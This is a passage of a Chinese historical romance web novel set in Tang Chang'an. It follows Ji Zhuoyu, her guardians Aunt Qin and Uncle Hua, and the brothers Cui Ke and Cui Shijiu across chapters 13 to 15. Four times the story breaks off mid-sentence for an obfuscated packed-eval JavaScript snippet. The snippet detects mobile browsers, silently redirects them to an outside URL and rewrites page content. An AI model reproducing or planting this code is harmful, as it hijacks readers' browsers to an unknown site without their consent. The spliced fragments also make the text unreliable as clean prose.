她身上便于行动的男式靛青紧身袍服有几处明显的撕裂口子,肩膀处洇开一片深色的湿痕,不知是雨水还是别的什么。 “是玉儿!”屋顶的秦姨看她的样子担忧不已,惊呼一声,作势就要飞身一跃从上面下来。 花大叔拽住她,“诶,不是说好玉儿安然无恙,你就不露面吗,你这个样子,打算怎么跟她解释?” 秦姨这才想起挂在腰间的双刀,她单手按在刀柄上,皱着眉头,似不情愿的模样。 玉儿不知道她会武功的事情,她也从未在玉儿面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776232|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展露过深厚的内力,她现在就是一个卖胡饼的妇人,应该连拿起双刀的力气都没有。 季琢玉脸色苍白如纸,唇上却带着一丝倔强的、被咬破的血痕,雨水冲刷着她脸颊的污泥和散落的发丝,狼狈不堪。 那双总是清澈明亮的眼睛,此刻却燃烧着一种近乎疯狂的火焰,死死盯着门洞深处,像是要从那片黑暗中瞪出一个人来。 她倒退着,脚跟重重磕在冰冷的石阶边缘,身体晃了晃才勉强站稳。 几乎就在她站稳的瞬间,一只手忽然伸过来,攥住她的手臂将她搀扶住。 “当心些。” 耳边的男声维持着一种陌生的温和,还带着几分低哑。 季琢玉站稳脚步,崔十九并未立刻松开,力道收得极有分寸,既让她无法轻易挣脱,又不至于弄疼她。 一缕清甜的石榴花香萦绕在鼻端,与周遭浑浊的空气格格不入。 他看着季琢玉强作镇定的眼睛深处那一闪而过的惊惶,像受惊林鹿湿漉漉的眼眸。 目光无意间扫过她微微敞开的领口,粗糙麻布的边缘痕迹清晰可见,他迅速挪开视线,耳朵涨红,像是看到了什么不该看的东西。 隔着粗糙的青布,季琢玉能清晰感觉到那臂骨纤细得惊人,甚至带着一丝不易察觉的轻颤。 来人头戴斗笠,暗青色的护卫劲装被雨水打湿,紧裹着贲张的肌肉。 季琢玉看清他的脸,忽然一把将他推开,力气之大,险些让自己摔在地上。 “装什么好人。” 崔十八刚才在狱中说的一字一句她都记得清楚,他说红绫不过是个丫鬟,死就死了。 这种人,竟然也配当大理寺的官差? 在他眼里,只有皇亲国戚才配好好活着吗,平民百姓的性命就不是命了吗? 崔十九似无奈轻摇一下头,又有人把他认作崔十八了。 兄长何时能待人和善些,他也能少受些白眼和冷嘲热讽。 她挣脱开男人的手,踉跄几步,一低头,才发现胸前的扣子竟然松开了,青布袍的领口被拉扯得微微敞开了一线,露出一小段粗糙麻布边缘的痕迹。 那不是汗巾,那形状,那紧束的走向,分明是裹胸布深深勒入皮肉留下的印痕。 她慌忙拉紧领口,将扣子重新扣好。 是什么时候松开的?被人都看见了吗? “姑娘不必慌张,我方才转了身,并未看见什么。”崔十九声音不高,恰好就他们两人能听到。 “你,你叫我什么!?”季琢玉瞪圆眼睛凝视着他。 等等,这人说话的声音不对劲。 他不是崔十八! 可是这张脸,分明跟崔十八一摸一样,只是.......下巴上多了一颗小小的红痣。 崔十九沉默片刻,意识到自己刚才脱口而出的称呼让眼前的姑娘不高兴了。 他确实没敢看她松开的领口,他看到的是她的耳垂,两个细小无法磨灭的空洞,那是女孩子家佩戴耳坠的痕迹。 加之眼前的“少年”眉骨清秀,红唇灵眸,身形单薄,她长得太标致了,女扮男装难度极高。 “姑娘若是介意,我,我崔十九愿意负责。” 崔十九目光定定地看着眼前的少女,斗笠下一张俊脸,下颚线似乎紧张过度而紧绷着,拇指下意识地擦过腰间横刀粗糙的鲨鱼皮刀柄。 13. 第十三章 他将斗笠取下来,小麦色的肤色一览无余,高挺的鼻梁陡峭入眉间,下巴上的一点红痣更加显眼。 深灰旧布袍被他宽阔的肩背撑出利落棱角,布料下紧绷的肌肉线条流畅精悍。 衣料粗粝,毫无纹饰,袖口和下摆甚至有些磨损起毛。 这身与长安繁华格格不入的简朴甚至寒酸,反而将他挺拔悍利的身形衬托得更加突出。 “不必。”季琢玉摇摇头,疑惑地端详他,他叫崔十九,就该是崔十八的弟弟,他也是崔恪的手下。 崔十九轻应一声,眼神中划过一抹淡淡的落寞,眼前的姑娘似乎跟兄长关系不好,想来也不会待见他。 跟那些人一样,讨厌他兄长,自然也会讨厌他。 “崔十九。” 他前脚刚迈进大理寺,身后传来清脆悦耳的女声,唤他的名字,瞬间他紧皱的眉头松弛下来。 崔十九下颌线如刀削,唇紧抿,回头看向季琢玉,安静的等她继续往下说。 季琢玉微微张开嘴,酝酿了一会儿才说:“方才谢谢你。” 崔十九眼里多了一点光亮,不过在他开口说话的时候便消散了。 “姑娘不必在意,我是大理寺中的护卫,今日无论是谁摔在这,我都会搀扶。” 同胞兄弟,截然不同。 “无论是谁……不论出身贵贱吗?”季琢玉喃喃自语,不像是追问,更像是在强调。 “嗯,不论出身贵贱。” 崔十九不懂她为什么这么问,但还是认真地回答她的问题。 她有心事? 又是在大理寺前,莫不是她家中什么人牵扯了要紧的案子,让她一筹莫展。 季琢玉点点头,扬起一抹淡淡的笑容,像是在苦水中浸泡过的糖。 “你跟这里面的人,不一样。” 她盯着眼前的崔十九,两人站在大理寺朱红大门前对视。 最慑人的是他那双深潭似的眼,沉静锐利,带着洞穿一切的审视和挥不去的倦冷。 几缕碎发汗湿地贴在额角,几道浅疤藏于发际眉骨。 他从前一定受过很多伤。 旧袍衣襟微敞,露出一小截紧实锁骨和深色里衣领缘,引人遐想布料下遒劲的肌骨。 腰身劲瘦,被磨旧的牛皮鞶带勒出利落线条,上面悬着一柄毫不起眼却透着杀气的鲨鱼皮鞘横刀。 他随意站着,旧袍裹身,气息冷硬如玄铁。 宽阔的肩背是沉默的力量,微敞的领口泄露一丝不经意间的性张力,搭在刀柄上的手骨节分明、覆着薄茧,充满了掌控感。 “姑娘日后若是有事需要大理寺帮忙,可以随时来找我,跟人说寻崔十九,我定会出现。” 她不主动说,崔十九不好意思直接开口相问,只好如此委婉地告诉她,遇上麻烦就来找他,他会帮她。 季琢玉敷衍地点点头,她再也不想踏进这个地方半步了,什么崔恪,什么崔十八,她不想再看到他们。 一群朝廷的走狗,冷血禽兽。 怪不得秦姨厌恶朝廷的官差,每每有县廨的人来例行检查,秦姨都是发牢骚,不明所以的讨厌他们。 现在她完全能理解秦姨了。 “呸,铁阎罗,我自有法子为红绫报仇。” 季琢玉自言自语,眼神变得犀利又尖锐,攥紧双拳,心里已经有了好计谋。 鸿胪寺的守卫可没有这里的多,而且大多是些酒囊饭袋。 倘若几个西突厥人莫名丢了,估计鸿胪寺的官差都要好几个时辰以后才能察觉到。 “什么?”崔十九没听清她在自言自语说什么。 “没什么,我先走了。”季琢玉笑着摇摇头,她已经想好了法子,何时潜入鸿胪寺何时带走西突厥人,她又回头说:“倒是有一事,想请十九大哥帮忙,只是在这里说怕是不方便。” “好。”崔十九想都没想就答应了。 她从他身前走过,石榴花的香气停留在风中,甜而不腻,柔而不娇,跟岭南密林中令人窒息的硫磺与腐叶瘴气截然不同。 也不是繁华长安城中混杂着胡人汗臭、牲畜粪便和脂粉的浑浊气味。 崔恪一身深绯官袍,玉带銙在暮色中泛着冷硬的光泽,刚从衙署步出,便见不远处的石阶旁,他那刚从岭南调回的得力臂膀崔十九,正与一个瘦小的“青袍少年”低声交谈。 那“少年”身量单薄,面容隐在阴影里看不真切,只听得一把刻意压低的嗓音,带着几分急切:“……崔护卫,那便说定了,明日巳时三刻,西市胡记茶肆……” 崔十九高大的身影微微前倾,侧耳听着,那惯常冷硬的轮廓在暮色中似乎柔和了半分,沉声应道:“嗯。” 崔恪的脚步顿在门廊的朱漆廊柱旁,无声无息。 他面上无波无澜,依旧是那副喜怒不形于色的少卿威仪,目光却沉沉地落在崔十九专注倾听的侧脸上,又扫过那“少年”匆匆离去的、略显仓促的背影。 一股说不清道不明的滞涩感,悄然盘踞在胸口,像被什么东西轻轻攥了一下。 他怎么不知道,她还有这本事,能让只见过一面的大理寺护卫如此听她的话。 季琢玉的身影很快消失在朱雀大街熙攘的人流中。 崔十九这才直起身,习惯性地扫视四周,锐利的目光如同鹰隼。 一个转身,便对上了廊柱阴影下那双深潭般的眼睛。 “大人?”崔十九微怔,立刻抱拳行礼。 他敏锐地捕捉到大人身上一丝不同寻常的气息,并非是平日处理棘手公务时的凝重,更像是一种不悦,被强行按捺下去的…… 莫不是大人还在忧心和亲公主案,此案不是移交给鸿胪寺了吗? 崔恪清冷的目光里带着一种怨气,似乎比这暮春的晚风还要凉上几分。 “嗯。”崔恪淡淡应了一声,抬步走下石阶,走到崔十九面前,目光在他脸上停留一瞬,仿佛要穿透那层冷硬的表皮,看清里面藏着什么。“方才在门口,耽搁了?” “是。”崔十九言简意赅,并未解释,“遇到一个……问路的。” 崔恪的视线掠过崔十九方才注视的方向,语气听不出情绪:“问路问到明日之约了?看来长安城的路,比岭南的瘴林还难辨。” 这话语里,带着一丝连他自己都未曾察觉的、极淡的酸意。 崔恪自己似乎也察觉失言,立刻敛了神色,恢复成那个沉稳持重的大理寺少卿,仿佛刚才那点异样只是错觉:“罢了。今日案牍堆积如山,有些疲乏。” 崔十九眉头微不可察地蹙了一下。 他太熟悉这位上官了。 崔恪其人,恪守律法,心如磐石,极少言“疲乏”,更不会为公务之外的事情流露情绪。 今日这“疲乏”二字,听着实在有些刻意。 “大人若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776233|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有烦忧,属下愿效犬马之劳。”崔十九的声音低沉而坚定,“为大人分忧,是属下本分。” 岭南十年,他这条命,早已与崔恪的信任和托付绑在了一起。 崔恪的目光落在崔十九忠诚而毫无杂质的脸上,胸口那股滞涩感却更重了。 他移开视线,望向远处宫阙的飞檐,语气平淡得像在陈述卷宗:“分忧?你刚回长安,是该好好休整适应。只是,” 他话锋一转,带着一种不容置喙的官威,“明日大理寺有几桩要紧的卷宗需人手复核,你需当值,不可懈怠。” 崔十九一愣,立刻道:“大人,明日巳时后,属下能否请几个时辰……” “不可。”崔恪打断他,声音不高,却带着斩钉截铁的力量。 他转过身,正面对着崔十九,绯袍在晚风中轻轻拂动,目光锐利地看进崔十九眼底:“崔十九。” “属下在。” 崔恪顿了顿,仿佛在斟酌词句,但说出来的话却让崔十九心头一跳:“你年纪也不小了。在岭南数年,为国效力。如今调回长安,也该考虑安身立命之事。” 他语气放缓,带着一种命令式的、不容拒绝的关怀,“我崔家虽非高门,但在长安还有些人脉。改日,让城中有名的冰人,替你寻一门门当户对、贤良淑德的好亲事。成了家,心才能定下来,更好地为朝廷效力。” 这番话,如同投入深潭的石子。崔十九猛地抬眼,眼中惯常的沉静被惊愕和一丝抗拒打破。 他几乎是立刻就想到了方才那个青布袍下纤细的身影,那缕清冽的梅香,那双映着自己、带着惊惶与复杂情绪的黑眸。 娶亲?贤良淑德?这些词此刻听来,遥远至极。 “大人!”崔十九的声音比平时高了一度,带着不容错辨的斩钉截铁,“属下谢大人关怀!但属下……暂无成家之念!” 他挺直了背脊,像一把骤然出鞘半寸的刀,锋芒毕露。 觉得刚才跟上官说话过于生硬,赶紧解释道:“腥风血雨的日子过惯了,骤然安定,只怕反而不适。属下只愿追随大人左右,尽忠职守。” 暮色四合,将两人的身影拉的很长很长。 崔十九深潭般的眼底,翻涌着他自己都无法厘清的复杂情绪,低着头,恭敬的不能再恭敬,无比谦卑。 只一眼,他便认定,唯有石榴花才能入他的心。 大人能将他从岭南调回长安城,已经是大恩大德了,他无以回报,只能在大人身边鞍前马后,在所不辞。 让他贸然开口跟崔大人提要娶方才那位姑娘,他说不出口,只能等哪天立了功,邀功请赏时提起此事。 最终只是沉沉地看了崔十九一眼,那眼神里包含了太多,最终只化作一句听不出喜怒的:“此事,容后再议。明日,准时点卯。” 说罢,不再看崔十九,转身拂袖,绯色的官袍融入渐深的夜色,背影挺直,却透着一股难以言喻的寂寥。 崔十九站在原地,看着崔大人消失的方向,眉头紧锁。 他敏锐地察觉到上官今日的反常,却想不通缘由。 手指无意识地再次抚上腰间冰凉的刀柄,脑海里挥之不去的,却是另一张刻意涂抹、却难掩清丽的脸庞。 季姑娘……明日之约……少卿大人的“好意”…… 纷乱的思绪交织,玄铁般冷硬的心,头一次,因一个女子和一个莫名的命令,激起了涟漪。 14. 第十四章 季琢玉心事重重地回到自家胡饼铺子后院,推开虚掩的灶房门。 “秦姨,花叔,我回来了……”话音未落,她的脚步猛地顿住。 灶膛里余烬微红,映着角落里一件物事,反射出冰冷的寒光。 竟然两柄细长的弯刀。 她眼睛一亮,这兵器简直太称心了,恰到好处的尺寸,无比锋利的刀刃,玄铁打造而成,也并非是出自一般的打铁匠之手。 刀鞘古朴,刀柄缠着旧麻布,随意地倚靠在柴堆旁,透着一股与这烟火灶房格格不入的森然杀气。 季琢玉看到这东西,不仅不害怕,反而握在手里:“这刀……?” 正在案板前“哐哐”用力揉着一大团面团的秦姨闻声猛地回头,粗壮的手臂上还沾着面粉。 她一看那刀,再一看季琢玉的脸色,那张平时总带着点泼辣劲儿的圆脸“唰”地白了,手里的面团差点掉地上。 “哎哟我的小祖宗!你吓死我了!怎么悄没声儿地就进来了!” 她嘴里埋怨着,动作却快得像阵风,一个箭步冲过去,用壮实的身板挡住季琢玉视线,手忙脚乱地去抓那两把刀,面粉簌簌往下掉。 “这破玩意儿……是刚才一个不长眼的胡商老爷落下的!五大三粗,嗓门贼大,吃饼跟打仗似的!估计是急着去赶关城门,跑得比兔子还快,连吃饭的家伙都忘了!真是晦气!” 季琢玉狐疑地看着秦姨略显夸张的慌乱,又看向那刀。 那刀鞘的样式……确实有些异域感。 “胡商?”她蹙眉,声音带着探究,“什么样的胡商会带着这样的双刀来吃胡饼?还落在这儿?” “哎呀我的玉儿!” 旁边正对着一个小铜镜、用小拇指小心翼翼沾了点胭脂膏子往唇上匀的花大叔,立刻放下他那宝贝胭脂盒,捏着嗓子,扭着腰就过来了。 他手里还习惯性地拎着他那把时刻不离身、伞面绘着精致缠枝牡丹的油纸伞。 他脸上堆起过分和蔼的笑容,用伞尖轻轻点了点那柴堆。 “这你就不懂啦!那些跑西域的胡商老爷,风吹日晒的,哪个身上不挂点家伙什儿壮胆?路上豺狼虎豹、马匪响马的,多着呢!” “刚才那位爷啊,满脸大胡子,凶神恶煞,拍桌子吼着要快些,吃完抹嘴就走,风风火火的,可不就把这‘吃饭的家伙’给落下了嘛!你说是不是呀?” 他朝秦姨使了个眼色,尾音拖得老长。 “对!对极了!”秦姨忙不迭地点头,额角的汗混着面粉往下淌。 她一边用沾满面粉的手背去擦,结果糊得更花,一边使劲把那双刀往柴堆深处塞。 “那客人凶得很,跟要吃人似的,老娘……咳,我都没敢多问一句!就想着等他回头来取……玉儿你可离远点,这玩意儿看着就邪性,碰着了可了不得!” 她连推带搡,总算用几大捆柴火把刀盖了个严实。 季琢玉的目光在秦姨花猫似的脸和花大叔那过分殷勤的笑容上打了个转。 秦姨风风火火、咋咋呼呼是常态,花大叔爱俏又有点矫柔做作也早习惯了,两人虽然表现得有点夸张,但理由似乎也说得过去。也许真是自己多心了? 她紧绷的肩膀松懈下来,揉了揉发胀的太阳穴:“好吧……那秦姨你收好点,别吓着客人。我先去换身衣裳。” 看着季琢玉转身掀帘进了里屋,秦姨才像被戳破的皮球,整个人软靠在灶台边,长长地、无声地吁出一大口气,拍着胸口低声咒骂:“哎哟喂,吓死老娘了……这小丫头,走路都没个声儿!” 花大叔脸上的假笑瞬间消失,翘起兰花指,戳了一下秦姨的脑门,尖细的嗓音压得极低,充满了后怕和埋怨。 “跟你说了千八百遍了!那要命的玩意儿,收好!锁进暗格里!当祖宗供着都行!你怎么又随手往柴堆一扔?!当是烧火棍啊?!今天要不是我脑子转得快,编得像,玉儿那丫头片子多精啊,眼睫毛都是空的,差点就让她瞧出不对了!你是嫌咱们在长安城中待得太安稳了是吧?!” 他一边数落,一边飞快地扒开柴火,抽出那对弯刀,心疼地用袖子擦了擦并不存在的灰。 秦姨自知理亏,被骂得缩了缩脖子,但嘴上还是不服软,小声嘟囔:“师兄,我……我这不是想着,就趁玉儿没回来,拿出来擦擦油保养一下嘛……谁知道她今天回来得这么早,跟鬼催似的……下次!下次我保证锁得死死的,钥匙吞肚子里行了吧?” 她看着花大叔像捧着易碎瓷器一样,小心翼翼地把那双刀塞进灶台旁一个极其隐蔽、布满油污的暗格里,咔哒一声落了锁,又用几块黑乎乎的灶石堵好,这才感觉心落回肚子里一半。 花大叔锁好暗格,又仔细检查了一遍,还用他那块绣着并蒂莲的干净帕子嫌弃地擦了擦手上的油灰,这才直起身。 他看着里屋紧闭的门帘,捏着帕子的手微微发抖,眼神里没了平日的矫揉造作,只剩下深深的忧虑和疲惫,声音也沉了下来。 “十年了……红刃,咱们是提着脑袋在过日子!玉儿她……她身上背着天大的干系!咱们瞒着她,是护着她!可要是她自己先发现了蛛丝马迹……那泼天的祸事,咱们这点道行,兜得住吗?!” 灶房里,只剩下炉膛里柴火偶尔的噼啪声,和两人沉重压抑的呼吸。 秦姨也难得地沉默了,只用力揉搓着围裙上沾的面粉,仿佛要把那份心惊也揉进去。 十几年前的那桩事就让它留在十几年前,不该再现世。 玉儿的身世,“天枢阁”这三个字,都不该再被人提起。 红绫的死,把玉儿牵扯到官家身边,已是他们未曾料到的,如今只能走一步看一步,但愿不会牵扯出旁的事情。 次日巳时三刻,西市胡记茶肆。 季琢玉特意换了身藕荷色襦裙,未施粉黛,只简单挽了个髻,头上斜插着一根素银簪子。 早早坐在临窗的位置,指尖无意识地绞着帕子,目光频频望向门口。 窗外的阳光透过格栅,在她清秀的侧脸上投下细碎的光影,带着一丝不易察觉的期待。 脚步声响起,沉稳有力。 季琢玉心头一跳,抬眼望去,嘴角刚想扬起,却在看清来人时瞬间冻结。 崔恪一身墨绿色圆领袍衫,玉带銙映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776234|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着日光,身姿挺拔如松,面容沉静无波。 他步履从容地走到季琢玉桌前,目光在她瞬间僵住的脸上扫过,淡淡开口:“好巧。” 季琢玉猛地站起身,凳子腿在木地板上刮出刺耳的声响,惊动了旁边几桌客人。 她脸上血色褪尽,只剩下被愚弄的羞恼和冰冷的怒意:“怎么是你?崔十九呢?” 声音压得很低,却带着刺骨的寒意。 崔恪神色不变,仿佛没看到她眼中的怒火,自顾自在她对面的位置坐下,姿态端方:“崔护卫今日有公务在身,抽不开身。本官恰巧路过西市,想起昨日似乎听闻你与他有约在此,便顺道过来告知一声,免得你空等到宵禁。” 他话说得滴水不漏,仿佛真是“恰巧”、“顺道”。 “路过?顺道?”季琢玉几乎要气笑了,她看着崔恪那张毫无破绽、一派正气凛然的脸,只觉得一股邪火直冲脑门。 “崔大人贵人事忙,竟还有闲暇‘路过’市井茶肆,关心一个护卫的私约?真是‘体恤’下属!” 她刻意加重了“体恤”二字,嘲讽之意溢于言表。 崔恪端起伙计刚奉上的粗瓷茶杯,慢条斯理地吹了吹浮沫,眼皮都没抬一下。 “职责所在,下属的言行操守,本官自然要过问一二。” 这话说得冠冕堂皇,却像针一样扎在季琢玉心上。 她昨日与崔十九在衙门口的交谈,果然被这位铁阎罗听了去! “好一个‘职责所在’!”季琢玉再也忍不住,抓起桌上裹着短剑的布包,转身就走,“那就不耽误崔大人履行‘职责’了!告辞!” 她一刻也不想再对着这张脸。 他分明就是故意过来的,不让崔十九过来,让她在在这里白等,也去不成鸿胪寺,更没法劫走西突厥人。 崔恪,你这个伪君子! 季琢玉气得跺脚,提着裙摆,边走边嘴里嘟囔着,将崔恪的十八代祖宗都问候了一遍。 崔恪端着茶杯的手几不可察地顿了一下,看着她怒气冲冲离去的背影,深潭般的眼底掠过一丝极快、几乎无法捕捉的波动,随即又被惯常的沉静覆盖。 季琢玉气冲冲地走出茶肆,只想快点离开这个让她难堪又愤怒的地方。 刚拐进一条稍僻静的巷子,准备抄近路回家,迎面一个小乞丐低着头急匆匆跑来,猛地撞在她身上。 “哎哟!”季琢玉被撞得一个趔趄,小乞丐连声道歉也没说,一溜烟跑没影了。 她皱了皱眉,没多想,继续往前走。 直到路过一个卖肉包的小摊,香气扑鼻,才觉得腹中有些饥饿。 早上走得急,没吃东西。她下意识伸手去摸腰间装散碎银钱的荷包。 没了! 她分明出门的时候带在身上了的。 季琢玉脸色骤变,慌忙上下摸索。 没有!袖袋、衣襟……哪里都没有! 她猛地想起刚才那个撞她的小乞丐,是了,那一下碰撞……她只顾着赶路,竟没察觉! “老板,一个肉包……” 她不死心,对摊主说道,声音干涩。 15. 第十五章 长安酒肆可以赊账,也许肉包摊的老板也愿意先赊给她一个肉包呢。 “好嘞!三文钱!”摊主麻利地包好一个皮包馅大的肉包递过来。 季琢玉尴尬地僵在原地,脸上红一阵白一阵:“我……我的钱袋好像被偷了……您看,能不能……” 摊主脸上的笑容立刻淡了,上下打量她一眼,带着市井的精明:“姑娘,小本生意,概不赊账的。要不……让您家郎君来付?” 他的目光意有所指地瞟向巷口。 季琢玉顺着他的目光回头,差点一口气没上来。 什么狗屁郎君! 崔恪那墨绿色的身影,不知何时竟不远不近地跟了过来,正站在巷口,阳光给他挺拔的身影镀上一层金边,让他脸上的神情显得更加莫测。 他凝视着季琢玉,脸上看不出表情,眼神淡淡的。 “他不是!他不是我郎君!”季琢玉像被踩了尾巴的猫,立刻尖声否认,羞愤交加。 她这辈子就是不嫁人,也不会嫁给崔恪这种道貌岸然的伪君子。 摊主一副“我懂得”的表情,那位俊俏的郎君虽未跟她并排走,却一直跟在她身后不远处,眼睛就没从她身上挪开过,眼里柔情似水,这二人不是闹别扭小夫妻还会是什人? 摊主呵呵一笑:“姑娘别恼,夫妻哪有隔夜仇?拌个嘴而已。让郎君付了钱,正好和好嘛。” 他显然把崔恪当成了追着生闷气娘子出来的夫君。 “说了不是!”季琢玉气得跺脚,小脸涨红,恨不能找个地缝钻进去。 就在这时,崔恪不紧不慢走了过来。 他自然也听到了摊主的话,眉头几不可察地蹙了一下,但并未解释。 他伸手探向自己腰间,眉头倏然锁起,怎么他的腰间也是空空如也。 他今日进宫述职后便舍换了常服,直接寻来,竟也忘了带钱袋。 崔恪的动作顿住,看向摊主:“店家,在下亦未带钱物。可否……” “哎哟喂!”摊主这下脸彻底垮了,“两位贵人,小店小本经营,真没赊账这一说!这肉包都包好了……凉了可就不好吃了” 他为难地看着手里的肉包。 季琢玉肚子咕噜咕噜的叫,盯着摊主手里的肉包,口水都要流下来了。 她看着摊主身后堆积如山的脏碗碟,一个念头突然冒了出来,带着恶作剧般的报复快感。 “老板,”季琢玉深吸一口气,指着那些碗碟,声音故意拔高,“钱我们真没有。你看这样行不行?我和我夫君帮你把那些碗碟洗了,抵这肉包钱,如何?” 她说完,挑衅似的看向崔恪。 他既然不否认是她的夫君,白白占她的便宜,那就跟她一起洗碗吧。 堂堂大理寺少卿,绯袍玉带,去洗碗?她倒要看看他如何应对! 崔恪显然没料到她会提出这个建议,深潭般的眼眸第一次清晰地闪过一丝错愕,错愕的并非是洗碗这事,而是她方才口中提到的几个字。 我和我夫君…… 他心悸一动,像是被人用手攥住了心,五指蜷缩用力,并不窒息,而是温暖的包裹感。 季琢玉得逞似的挑了挑眉,见崔恪一脸错愕,就知道他肯定是不愿意的。 他出身显赫,身居高位,何曾做过这等粗鄙之事? 摊主看看季琢玉,又看看崔恪那身价值不菲的衣料和通身的气派,再看看那堆油腻的碗碟,犹豫了一下,似乎觉得这买卖也不算太亏。 “这……洗倒是行。但得洗干净,不能打碎!打碎一个赔十文!” “好!”季琢玉一口答应,然后挑眉看向崔恪,嘴角勾起一抹恶劣的弧度,“崔大人,您方才不是说职责所在吗,帮助长安城中的百姓,应该也是您的指责吧,您不会眼睁睁得看着我一介弱女子饿肚子没饭吃吧。” 她特意强调了“大人”二字,故作可怜地眨巴眨巴眼睛。 崔恪的脸色瞬间沉了下去,下颌线绷得死紧。 他看着季琢玉眼中那毫不掩饰的促狭和报复,又看看摊主虎视眈眈的眼神和那堆散发着食物残渣气味的碗碟,胸口那团滞涩感翻涌而来。 他几乎想拂袖而去。 但目光扫过季琢玉因为气愤和饥饿而微微发白的脸,还有她眼中那点强撑的倔强。 罢了。 崔恪闭了闭眼,再睁开时,眼底只剩下无奈的妥协。 他一个字也没说,默默地卷起了墨绿色圆领袍服那昂贵丝缎的袖口,露出线条紧实的有力小臂。 大步走到水盆和碗碟堆旁,拿起一个油腻的粗陶碗,动作生疏却异常坚定地开始清洗。 季琢玉看着他真的弯下腰,那双执掌刑狱、批阅奏章的手,此刻浸泡在浑浊油腻的洗碗水里,笨拙却认真地对付着碗壁上的顽固油渍,心头那股恶气突然就泄了大半,取而代之的是一种难以言喻的复杂滋味。 她是不是做的太过分了? 不,一点都不过分,他纵容那群西突厥人活着,阻止她给红绫报仇,让他洗个碗都是便宜他的了。 季琢玉脸色恢复平静,默默走过去,拿起一个碗,开始清洗。 两人并排站在油腻的摊子后面,一个墨绿色锦袍,一个粉裙银钗,沉默地洗着堆积如山的碗碟。 阳光照在崔恪紧绷的侧脸上,他紧抿唇线,平静的像是一潭死水。 季琢玉则故意把水溅得高些,偶尔“不小心”把脏水甩到崔恪干净的袍角上。 崔恪只是眉头皱得更紧,手上的动作却不停,甚至在她差点打滑时,不动声色地用手臂挡了她一下。 不知洗了多久,碗碟终于见了底。 摊主检查一番,还算满意,挥挥手:“行了行了,肉包拿去吧,以后可别忘带钱了!” 季琢玉抓起那个已经有点凉了的肉包,看也没看崔恪一眼,转身就走,脚步飞快。 崔恪放下卷起的袖子,昂贵的丝缎袖口已经沾上了难以去除的油污和水渍。 他看着季琢玉几乎是落荒而逃的背影,又低头看了看自己湿漉漉、带着油光的手,生平第一次,感到了某种难以形容的狼狈。 他掏出一块素净的帕子,擦拭双手,眉头紧锁,脸色阴沉得能滴出水。 季琢玉咬着凉掉的肉包,走在回去的路上,心里五味杂陈,既有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778369|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报复的快意,又有点莫名的烦躁。 这肉包一点都不好吃,她想要扔了,转念一想,洗了那么多碗,扔了可惜,还是一口一口吃下去吧。 刚拐进自家铺子所在的巷口,便听见几个街坊聚在巷子口的大槐树下,正压低声音议论着什么,神色惊惶。 “……听说了吗?关在大理寺狱里那几个闹事的西突厥人,昨儿全死了!” “啊?死了?怎么死的?” “说是想杀崔大人,结果被崔大人反杀了……还没移交给鸿胪寺就被当场格杀了!” “嘶……这么凶险?意图杀害上官?那真是死有余辜!” “谁说不是呢!不过……一下子全死了?也真是……” 意图杀害崔恪?反被杀? 季琢玉的脚步猛地钉在原地,嘴里的肉包瞬间没了滋味。 那几个人都被崔恪杀了,她方才见到崔恪,他什么也没说,就好像没发生这件事。 一股寒意,毫无征兆地顺着她的脊背爬了上来。 那几个西突厥人也是疯了,竟然敢跟崔恪动手。 他们奸杀红绫没人在意,意图杀害大唐四品官员,却不是小事,闹得人尽皆知,陛下知晓此事,也会觉得他们确实该死。 鸿胪寺那边没领到人,只能自认倒霉,谁让这群西突厥人没眼力见,在牢狱中对崔恪起了杀心。 崔家三代为官,崔太傅致仕多年,仍保留太傅的头衔,享太子太傅待遇,虽没有实权,却受陛下尊重。 崔恪的父亲崔世茂崔知州,那可是高宗钦点的状元,即便是跟武后在朝堂之上争论到面红耳赤,当着文武百官的面斥责武后,武后都没有要杀他的意思,只是将他贬到岭南当知州。 换做旁人,早就满门抄斩了。 崔恪是崔太傅唯一的孙子,又是嫡出长孙,身份何等尊贵,他若是有什么闪失,崔太傅怕是要亲自进宫问陛下要个说辞的。 